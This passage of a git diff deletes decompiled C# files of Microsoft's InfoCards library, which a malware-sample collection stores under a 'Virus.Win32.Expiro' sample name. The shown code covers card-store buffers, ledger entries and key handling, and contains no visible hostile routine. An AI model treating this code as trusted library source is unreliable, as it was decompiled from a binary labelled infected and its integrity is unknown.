callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.Import, ExceptionList.AllNonFatal) - { - } - - public string ImportedFile => this.m_filename; - - protected override void OnMarshalInArgs() - { - string path = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - if (string.IsNullOrEmpty(path) || path.Length > 259) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFileName"))); - if (!Path.IsPathRooted(path)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFileName"))); - try - { - this.m_filename = path; - this.m_importFile = new FileStream(this.m_filename, FileMode.Open, FileAccess.Read, FileShare.Read); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (NotSupportedException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - } - - protected override void OnProcess() => this.StartAndWaitForUIAgent(); - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_importFile == null) - return; - this.m_importFile.Dispose(); - this.m_importFile = (FileStream) null; - } - - protected override bool OnHandleException(Exception e, out int errorCode) - { - errorCode = 0; - bool flag = false; - if (e is UserCancelledException) - { - errorCode = (e as UserCancelledException).NativeHResult; - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportStoreException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportStoreException.cs deleted file mode 100644 index 32bb7066..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportStoreException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportStoreException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ImportStoreException : InfoCardBaseException - { - private const int HRESULT = -1073413868; - - public ImportStoreException() - : base(-1073413868) - { - } - - public ImportStoreException(string message) - : base(-1073413868, message) - { - } - - public ImportStoreException(string message, Exception inner) - : base(-1073413868, message, inner) - { - } - - protected ImportStoreException(SerializationInfo si, StreamingContext sc) - : base(-1073413868, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IndexObject.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IndexObject.cs deleted file mode 100644 index 97c80022..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IndexObject.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IndexObject -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal class IndexObject - { - private object[] m_objects; - private byte[] m_compiledForm; - - public IndexObject(object[] objects) => this.m_objects = objects; - - public IndexObject(byte[] compiledForm) => this.m_compiledForm = compiledForm; - - public bool IsCompiled => null != this.m_compiledForm; - - public bool CanCompile => null != this.m_objects; - - public byte[] CompiledForm => this.m_compiledForm; - - public object[] ObjectList => this.m_objects; - - internal void Compile(SecondaryIndexDefinition indexDef) - { - if (!this.CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - byte[] destinationArray = new byte[60]; - int destinationIndex = 0; - for (int index = 0; index < this.m_objects.Length; ++index) - { - if (!indexDef.Canonicalizer.CanCanonicalize(this.m_objects[index])) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCanonicalized", (object) this.m_objects[index].GetType()))); - byte[] sourceArray = indexDef.Canonicalizer.Canonicalize(this.m_objects[index]); - if (sourceArray.Length + destinationIndex > destinationArray.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectBufferOverflow", (object) indexDef.Name))); - Array.Copy((Array) sourceArray, 0, (Array) destinationArray, destinationIndex, sourceArray.Length); - destinationIndex += sourceArray.Length; - } - this.m_compiledForm = destinationArray; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IndexedDataBuffer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IndexedDataBuffer.cs deleted file mode 100644 index fcf00989..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IndexedDataBuffer.cs +++ /dev/null @@ -1,336 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IndexedDataBuffer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal class IndexedDataBuffer - { - private byte[] m_buffer; - private byte[] m_masterIndex; - private FreeIndexList m_freeList; - private int m_dataLength; - private bool m_isOpen; - private DataSource m_owner; - - public unsafe IndexedDataBuffer( - byte[] masterIndex, - byte[] buffer, - int dataLength, - DataSource owner) - { - if (masterIndex == null || masterIndex.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (masterIndex), SR.GetString("StoreIndexedDataBufferNullOrEmptyMasterIndexBuffer")); - if (buffer == null || buffer.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (buffer), SR.GetString("StoreIndexedDataBufferNullOrEmptyDataIndexBuffer")); - if (dataLength < 0 || dataLength > buffer.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataLength), (object) dataLength, SR.GetString("StoreIndexDataBufferDataLengthOutOfRange"))); - this.m_owner = owner; - this.m_masterIndex = masterIndex; - this.m_buffer = buffer; - this.m_dataLength = dataLength; - this.m_freeList = new FreeIndexList(20); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - for (int index = 1; index < this.m_masterIndex.Length / 4; ++index) - { - if (((int*) numPtr)[index] <= 0) - this.m_freeList.Put(index); - } - } - this.m_isOpen = true; - } - - public byte[] Index - { - get - { - this.ThrowIfNotOpen(); - return this.m_masterIndex; - } - } - - public byte[] Data - { - get - { - this.ThrowIfNotOpen(); - return this.m_buffer; - } - } - - public int DataLength - { - get - { - this.ThrowIfNotOpen(); - return this.m_dataLength; - } - } - - public void Close() - { - this.ThrowIfNotOpen(); - this.Clear(); - this.m_buffer = (byte[]) null; - this.m_masterIndex = (byte[]) null; - this.m_isOpen = false; - } - - public unsafe DataRow CreateDataRow(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - fixed (byte* pHeader = &this.m_buffer[this.GetOffset(ref id)]) - return DataRow.Create((EncryptedObjectHeader*) pHeader, this.m_owner); - } - - public unsafe void CopyIVFromObject(int id, byte[] iv, int index) - { - this.ThrowIfNotOpen(); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (index < 0 || index > this.DataLength - iv.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (index), (object) index, SR.GetString("StoreIndexDataBufferIndexOutOfRange"))); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - fixed (byte* numPtr = &this.m_buffer[offset]) - Marshal.Copy(new IntPtr((void*) &((EncryptedObjectHeader*) numPtr)->IV), iv, 0, iv.Length); - } - - public Stream GetStreamForObjectData(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - int objectDataSize = this.GetObjectDataSize(offset); - InfoCardTrace.Assert(objectDataSize <= this.m_buffer.Length - offset, "The length the stored object is invalid"); - return (Stream) new MemoryStream(this.m_buffer, offset + sizeof (EncryptedObjectHeader), objectDataSize, false, false); - } - - public void RemoveObject(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - this.RemoveFromMasterIndex(id); - this.EnsureSpaceForData(offset, 0); - } - - public unsafe int WriteObject( - int id, - byte[] iv, - byte[] data, - int objectType, - long lastChange, - GlobalId globalId) - { - this.ThrowIfNotOpen(); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (data == null || data.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (id > this.m_masterIndex.Length / 4) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = id <= 0 || !this.m_freeList.Contains(id) ? this.GetOffset(ref id) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - this.EnsureSpaceForData(offset, data.Length); - fixed (byte* numPtr1 = &this.m_buffer[offset]) - { - byte* numPtr2 = (byte*) ((EncryptedObjectHeader*) numPtr1 + 1); - ((EncryptedObjectHeader*) numPtr1)->LastChange = lastChange; - ((EncryptedObjectHeader*) numPtr1)->DataSize = data.Length; - ((EncryptedObjectHeader*) numPtr1)->ObjectType = objectType; - ((EncryptedObjectHeader*) numPtr1)->LocalId = id; - ((EncryptedObjectHeader*) numPtr1)->GlobalId = globalId; - InfoCardTrace.Assert(iv.Length <= 32, "IV Length is invalid"); - Marshal.Copy(iv, 0, new IntPtr((void*) &((EncryptedObjectHeader*) numPtr1)->IV), iv.Length); - Marshal.Copy(data, 0, new IntPtr((void*) numPtr2), data.Length); - } - return id; - } - - private unsafe int GetObjectDataSize(int offset) - { - fixed (byte* numPtr = &this.m_buffer[offset]) - return ((EncryptedObjectHeader*) numPtr)->DataSize; - } - - private void Clear() - { - Array.Clear((Array) this.m_buffer, 0, this.m_dataLength); - Array.Clear((Array) this.m_masterIndex, 0, this.m_masterIndex.Length); - this.m_dataLength = 0; - } - - private unsafe int EnsureSpaceForData(int offset, int dataSize) - { - InfoCardTrace.Assert((uint) offset <= (uint) this.m_dataLength, "offset specified is outside the range of the data buffer"); - InfoCardTrace.Assert(dataSize >= 0, "The requested data size must be greater than or equal to 0"); - int num1 = 0; - if (dataSize != 0) - num1 = dataSize + sizeof (EncryptedObjectHeader); - if (num1 % 8 != 0) - num1 += 8 - num1 % 8; - int num2; - if (offset == this.m_dataLength) - { - num2 = 0; - } - else - { - fixed (byte* numPtr = &this.m_buffer[offset]) - { - num2 = ((EncryptedObjectHeader*) numPtr)->DataSize + sizeof (EncryptedObjectHeader); - if (num2 % 8 != 0) - num2 += 8 - num2 % 8; - } - } - InfoCardTrace.Assert(num2 <= this.m_dataLength, "currentSize can not be more "); - if (num2 == num1) - return num1; - int num3 = offset + num2; - int diff = num1 - num2; - int num4 = num3 + diff; - if (diff > 0 && this.m_dataLength + diff >= this.m_buffer.Length) - this.GrowBuffer(this.m_dataLength + diff); - InfoCardTrace.Assert((uint) num3 <= (uint) this.m_buffer.Length && num3 >= offset, "NextIndex value is corrupt when attempting to ensure space for object"); - InfoCardTrace.Assert((uint) num4 <= (uint) this.m_buffer.Length, "NextNewIndex value is corrupt when attempting to ensure space for object"); - if (this.m_dataLength != num3) - { - InfoCardTrace.Assert(this.m_dataLength - num3 > 0, "NextIndex data is corrupt when attempting to ensure space for object in middle of content."); - Array.Copy((Array) this.m_buffer, num3, (Array) this.m_buffer, num4, this.m_dataLength - num3); - this.m_dataLength += diff; - InfoCardTrace.Assert(this.m_dataLength >= 0, "DataLength has been corrupted."); - if (diff < 0) - { - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength is larger than allocated buffer."); - Array.Clear((Array) this.m_buffer, this.m_dataLength, Math.Abs(diff)); - } - this.UpdateMasterIndex(Math.Min(num3, num4), diff); - } - else - this.m_dataLength += diff; - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength is larger than allocated buffer."); - return num1; - } - - private void GrowMasterIndex() - { - int num1 = this.m_masterIndex.Length / 4; - int increaseByPercent = Utility.CalculateIncreaseByPercent(this.m_masterIndex.Length, 4, 5); - InfoCardTrace.Assert(increaseByPercent > this.m_masterIndex.Length, "NewSize must be greater than old size to grow master index buffer"); - byte[] destinationArray = new byte[increaseByPercent]; - Array.Copy((Array) this.m_masterIndex, 0, (Array) destinationArray, 0, this.m_masterIndex.Length); - Array.Clear((Array) this.m_masterIndex, 0, this.m_masterIndex.Length); - this.m_masterIndex = destinationArray; - int num2 = this.m_masterIndex.Length / 4; - for (int index = num1 + 1; index < num2; ++index) - this.m_freeList.Put(index); - } - - private void GrowBuffer(int spaceRequired) - { - InfoCardTrace.Assert(spaceRequired >= this.m_buffer.Length, "RequireSpace must be greater than old size to grow data buffer"); - int num = spaceRequired; - int length = num + num / 20; - InfoCardTrace.Assert(length >= spaceRequired, "NewLength must be greater than required space to grow data buffer"); - byte[] destinationArray = new byte[length]; - Array.Copy((Array) this.m_buffer, 0, (Array) destinationArray, 0, this.m_buffer.Length); - Array.Clear((Array) this.m_buffer, 0, this.m_buffer.Length); - this.m_buffer = destinationArray; - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength Corrupt or buffer growth failed."); - } - - private unsafe int GetOffset(ref int id) - { - if (id <= 0) - { - if (this.m_dataLength <= 0) - this.m_dataLength = 8; - int dataLength = this.m_dataLength; - id = this.GetNextLocalId(dataLength); - return dataLength; - } - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - InfoCardTrace.Assert(((int*) numPtr)[id] >= 0, "Master Index offset value is invalid"); - return ((int*) numPtr)[id]; - } - } - - private unsafe void RemoveFromMasterIndex(int id) - { - InfoCardTrace.Assert(id > 0, "LocalId is invalid"); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - *(int*) (numPtr + ((IntPtr) id * 4).ToInt64()) = 0; - this.m_freeList.Put(id); - } - } - - private unsafe void UpdateMasterIndex(int offset, int diff) - { - InfoCardTrace.Assert(offset > 0, "Offset is invalid"); - InfoCardTrace.Assert(diff != 0, "Difference is invalid"); - int num = this.m_masterIndex.Length / 4; - fixed (byte* numPtr1 = &this.m_masterIndex[0]) - { - for (int index = 1; index < num; ++index) - { - InfoCardTrace.Assert((int*) numPtr1 + index - (int*) numPtr1 <= (long) this.m_masterIndex.Length, "Pointer has walked past the end of the allocated buffer."); - if (((int*) numPtr1)[index] > 0 && ((int*) numPtr1)[index] >= offset) - { - int* numPtr2 = (int*) numPtr1 + index; - *numPtr2 = *numPtr2 + diff; - } - } - } - } - - private unsafe int GetNextLocalId(int offset) - { - InfoCardTrace.Assert(offset >= 0, "The offset can not be negative."); - int next = this.m_freeList.GetNext(); - if (next > 0) - { - InfoCardTrace.Assert(null != this.m_masterIndex, "m_masterIndex must not be null by now"); - InfoCardTrace.Assert(this.m_masterIndex.Length > 0, "m_masterIndex must not be empty."); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - *(int*) (numPtr + ((IntPtr) next * 4).ToInt64()) = offset; - return next; - } - } - else - { - int nextLocalId = this.m_masterIndex.Length / 4; - this.GrowMasterIndex(); - InfoCardTrace.Assert(this.m_masterIndex.Length / 4 > nextLocalId && nextLocalId > 0, "Calculated count is corrupt or invalid."); - fixed (byte* numPtr = &this.m_masterIndex[0]) - *(int*) (numPtr + ((IntPtr) nextLocalId * 4).ToInt64()) = offset; - return nextLocalId; - } - } - - public void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (IndexedDataBuffer))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCard.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCard.cs deleted file mode 100644 index 6c698da7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCard.cs +++ /dev/null @@ -1,1387 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCard -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.ServiceModel; -using System.Text; -using System.Threading; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfoCard : IXmlSerializable - { - private const int InvalidRow = 0; - private const byte Marker = 29; - private const byte Version = 1; - public const int KeySize = 2048; - public const int MasterKeySize = 32; - public const int SaltSize = 16; - private InfoCardClaimCollection m_claims; - private DateTime m_expiresOn = DateTime.MaxValue; - private uint m_epoch; - private Uri m_id; - private DateTime m_issuedOn = DateTime.MinValue; - private bool m_isImported; - private DateTime m_installedOn = DateTime.Now; - private string m_issuerName = string.Empty; - private string m_language = string.Empty; - private LedgerEntryCollection m_ledger; - private byte[] m_logo; - private string m_mimeType = string.Empty; - private string m_name = string.Empty; - private DateTime m_lastUpdate = DateTime.MinValue; - private int m_rowId; - private StoreConnection m_storeConnection; - private int m_backgroundColor; - private string[] m_tokenTypes; - private RequireAppliesToStatus m_requireAppliesTo; - private byte[] m_pinHash; - private bool m_isSelfIssued; - private byte[] m_salt; - private InfoCardMasterKey m_masterKey; - private string m_privacyPolicyLink = string.Empty; - private byte[] m_issuerIdentifierAsBytes; - private Uri m_issuer; - private uint m_privacyPolicyVersion; - private string m_pin = string.Empty; - private string m_oldPin = string.Empty; - private InfoCard.PinAction m_pinAction; - private InfocardExtendedInformationCollection m_extendedInformation; - private bool m_readIssuerInformation; - private RPIdentityRequirement m_rpStrongIdentityRequired; - private List m_creationParameters; - - public InfoCard() => this.m_lastUpdate = DateTime.UtcNow; - - public InfoCard(Uri id) => this.m_id = id; - - public InfoCard(Stream stream) => this.Deserialize(stream); - - public string[] TokenTypes - { - set => this.m_tokenTypes = value; - } - - public List CreationParameters - { - get - { - if (this.m_creationParameters == null) - this.m_creationParameters = new List(); - return this.m_creationParameters; - } - } - - public InfoCardClaimCollection GetClaims() - { - if (this.m_claims == null) - { - if ((Uri) null == this.m_id) - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id"); - this.m_claims = new InfoCardClaimCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_claims.Get(this.m_storeConnection); - } - return this.m_claims; - } - - public static IssuerInformation GetIssuerInformation(string xml) - { - IssuerInformation issuerInformation = new IssuerInformation(); - if (!string.IsNullOrEmpty(xml)) - { - try - { - issuerInformation.ReadIssuerInformation(InfoCardSchemas.CreateReader(xml)); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceUnableToDeserializeInfoCardStream"), ex)); - throw; - } - } - return issuerInformation; - } - - public InfocardExtendedInformationCollection GetExtendedInformation() - { - if (this.m_extendedInformation == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id"); - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_extendedInformation.Get(this.m_storeConnection); - } - return this.m_extendedInformation; - } - - public RPIdentityRequirement GetRPIdentityRequirement() - { - if (this.m_rpStrongIdentityRequired == null) - { - this.m_rpStrongIdentityRequired = new RPIdentityRequirement(this.m_id, false); - if (this.m_storeConnection != null) - this.m_rpStrongIdentityRequired.Get(this.m_storeConnection); - } - return this.m_rpStrongIdentityRequired; - } - - public void AddClaim(InfoCardClaim claim) - { - InfoCardTrace.Assert(null != claim, "null claim"); - this.GetClaims().Add(claim); - } - - public void AddLedgerEntry(LedgerEntry entry) - { - InfoCardTrace.Assert(null != entry, "null ledger entry"); - this.GetLedger().Add(entry); - } - - public DateTime ExpiresOn - { - get => this.m_expiresOn; - set => this.m_expiresOn = value; - } - - public uint Epoch - { - get => this.m_epoch; - set => this.m_epoch = value; - } - - public Uri Id - { - get => this.m_id; - set => this.m_id = value; - } - - public DateTime IssuedOn - { - get => this.m_issuedOn; - set => this.m_issuedOn = value; - } - - public string IssuerName - { - get => this.m_issuerName; - set => this.m_issuerName = value; - } - - public byte[] IssuerIdentifierAsBytes - { - get => this.m_issuerIdentifierAsBytes; - set => this.m_issuerIdentifierAsBytes = value; - } - - public Uri Issuer - { - set => this.m_issuer = value; - } - - public string Language - { - get => this.m_language; - set => this.m_language = value; - } - - public RequireAppliesToStatus RequireAppliesto - { - get => this.m_requireAppliesTo; - set => this.m_requireAppliesTo = value; - } - - public bool IsSelfIssued - { - get => this.m_isSelfIssued; - set => this.m_isSelfIssued = value; - } - - public string PrivacyPolicyLink - { - get => this.m_privacyPolicyLink; - set => this.m_privacyPolicyLink = value; - } - - public uint PrivacyPolicyVersion => this.m_privacyPolicyVersion; - - public LedgerEntryCollection GetLedger() - { - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id is null"); - this.m_ledger = new LedgerEntryCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_ledger.Get(this.m_storeConnection); - } - return this.m_ledger; - } - - public StoreConnection Connection - { - set => this.m_storeConnection = value; - } - - public LedgerEntry TryGetLedgerEntry( - StoreConnection connection, - string recipientIdentifier) - { - LedgerEntry ledgerEntry = (LedgerEntry) null; - InfoCardTrace.Assert(null != connection, "The store connection cannot be null."); - InfoCardTrace.Assert(!string.IsNullOrEmpty(recipientIdentifier), "A recipient identifier must be specified."); - if (this.m_ledger != null && this.m_ledger.ContainsKey(recipientIdentifier)) - ledgerEntry = this.m_ledger[recipientIdentifier]; - if (ledgerEntry == null) - { - DataRow singleRow = connection.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - }), new QueryParameter("ix_name", new object[1] - { - (object) recipientIdentifier - })); - if (singleRow != null) - ledgerEntry = new LedgerEntry((Stream) new MemoryStream(singleRow.GetDataField()), connection); - } - return ledgerEntry; - } - - public LedgerEntry CreateLedgerEntry( - Recipient recipient, - string immediateTokenRecipientOrganizationIdentifier) - { - InfoCardTrace.Assert(null != recipient, "A recipient must be specified."); - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "The card identifier must be defined."); - this.m_ledger = new LedgerEntryCollection(this.Id); - } - LedgerEntry entry = LedgerEntry.NewLedgerEntry(this.Id, recipient, this.Key, immediateTokenRecipientOrganizationIdentifier); - this.m_ledger.Add(entry); - return entry; - } - - public void CheckAndUpdateLedgerEntry(LedgerEntry entry, string immediateTokenRecipientOrgId) - { - if (!entry.CheckAndUpdateSubjectKey(immediateTokenRecipientOrgId, this.Key)) - return; - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.Id, "The card identifier must be defined."); - this.m_ledger = new LedgerEntryCollection(this.Id); - } - if (this.m_ledger.ContainsKey(entry.Recipient.RecipientId)) - this.m_ledger[entry.Recipient.RecipientId] = entry; - else - this.m_ledger.Add(entry); - } - - public byte[] Logo - { - get => this.m_logo; - set => this.m_logo = value; - } - - public string LogoMimeType - { - get => this.m_mimeType; - set => this.m_mimeType = value; - } - - public string Name - { - get => this.m_name; - set => this.m_name = value; - } - - public DateTime LastUpdate - { - get => this.m_lastUpdate; - set => this.m_lastUpdate = value; - } - - public int BackgroundColor - { - get => this.m_backgroundColor; - set => this.m_backgroundColor = value; - } - - public byte[] HashSalt - { - set => this.m_salt = value; - get => this.m_salt; - } - - public string[] SupportedClaimTypes - { - get - { - List stringList = new List(); - foreach (string key in this.GetClaims().Keys) - { - if (!this.IsSelfIssued || !string.IsNullOrEmpty(this.GetClaims()[key].Value)) - stringList.Add(key); - } - return stringList.ToArray(); - } - } - - public bool IsImported - { - set => this.m_isImported = value; - } - - public DateTime InstalledOn - { - set => this.m_installedOn = value; - } - - public bool IsPinProtected => this.m_pinHash != null && this.m_pinHash.Length > 0; - - public string Pin => this.m_pin; - - public InfoCardMasterKey GetMasterKey(StoreConnection connection) - { - InfoCardTrace.Assert(null != connection, "Store connection should not be null"); - this.m_masterKey = new InfoCardMasterKey(this.m_id); - this.m_masterKey.Get(connection); - return this.m_masterKey; - } - - public void Decrypt() - { - InfoCardTrace.Assert(null != this.m_masterKey, "The GetMasterKey must be called before using this method."); - PinProtectionHelper pinHelper = this.m_masterKey.GetPinHelper(this.m_pin); - this.m_masterKey.Decrypt(pinHelper); - this.GetClaims().Decrypt(pinHelper); - } - - public byte[] Key => this.m_masterKey != null ? this.m_masterKey.Key : (byte[]) null; - - public void ClearSensitiveData() - { - if (this.m_masterKey == null) - return; - Array.Clear((Array) this.m_masterKey.Key, 0, this.m_masterKey.Key.Length); - } - - public static byte[] GenerateSalt() - { - byte[] data = new byte[16]; - new RNGCryptoServiceProvider().GetBytes(data); - return data; - } - - public void ThrowIfNotComplete() - { - if (!this.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public bool IsComplete() - { - bool flag = !string.IsNullOrEmpty(this.m_language) && (Uri) null != this.m_id && (Uri) null != this.m_issuer && !Utility.ArrayIsNullOrEmpty((Array) this.m_tokenTypes) && this.m_privacyPolicyLink != null && !Utility.ArrayIsNullOrEmpty((Array) this.m_salt) && this.m_epoch > 0U && DateTime.MinValue != this.m_issuedOn && DateTime.MinValue != this.m_expiresOn && DateTime.MinValue != this.m_lastUpdate; - if (!this.IsSelfIssued) - 